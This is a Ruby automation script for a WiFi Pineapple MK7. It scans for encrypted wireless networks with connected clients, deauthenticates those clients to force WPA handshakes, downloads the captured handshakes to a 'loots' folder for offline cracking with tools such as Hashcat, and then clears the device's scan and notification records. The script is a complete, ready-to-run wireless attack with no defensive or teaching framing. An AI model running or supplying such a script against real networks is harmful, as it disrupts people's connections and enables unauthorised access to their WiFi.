require_relative('../../classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "172.16.42.1"
system_authentication.port = 1471
system_authentication.mac = "00:13:37:DD:EE:FF"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

    led = PineappleMK7::System::LED.new

    # SETUP
    #
    led.setup

    reset_settings = PineappleMK7::Modules::PineAP::Settings.new
    reset_settings.save

    recon_scanning = PineappleMK7::Modules::Recon::Scanning.new
    SCAN_TIME = 300

    recon_handshakes = PineappleMK7::Modules::Recon::Handshakes.new
    HANDSHAKES_DESTINATION = './loots/'

    dashboard_notifications = PineappleMK7::Modules::Dashboard::Notifications.new

    # ATTACK 1
    #
    led.attack

    scanID = (recon_scanning.start(SCAN_TIME)).scanID
    output = recon_scanning.output(scanID)

    # SPECIAL
    #
    led.special

    ap_clients = []
    (output.APResults).each do |ap|
        if ((ap.encryption != 'Open') && !ap.clients.nil?)
            ap_clients << ap
        end
    end

    # ATTACK 2
    #
    led.attack
    
    if (ap_clients.size > 0)
        ap_clients.each do |ap|
            recon_handshakes.start(ap)
            sleep(5)
            recon_scanning.deauth_ap(ap)
            sleep(30)
            recon_handshakes.stop
        end
    end

    # SPECIAL 2
    #
    led.special

    puts('[+] Captured WPA Handshakes')

    (recon_handshakes.output).each do |handshake|
        handshake_path = recon_handshakes.download(handshake, HANDSHAKES_DESTINATION)
        pp(handshake_path)
        # John the Ripper, Hashcat, ... actions
    end

    # FINISH
    #
    led.finish

    # CLEANUP
    #
    led.cleanup

    recon_scanning.delete(scanID)
    recon_handshakes.clear
    dashboard_notifications.clear

    # OFF
    #
    led.off

end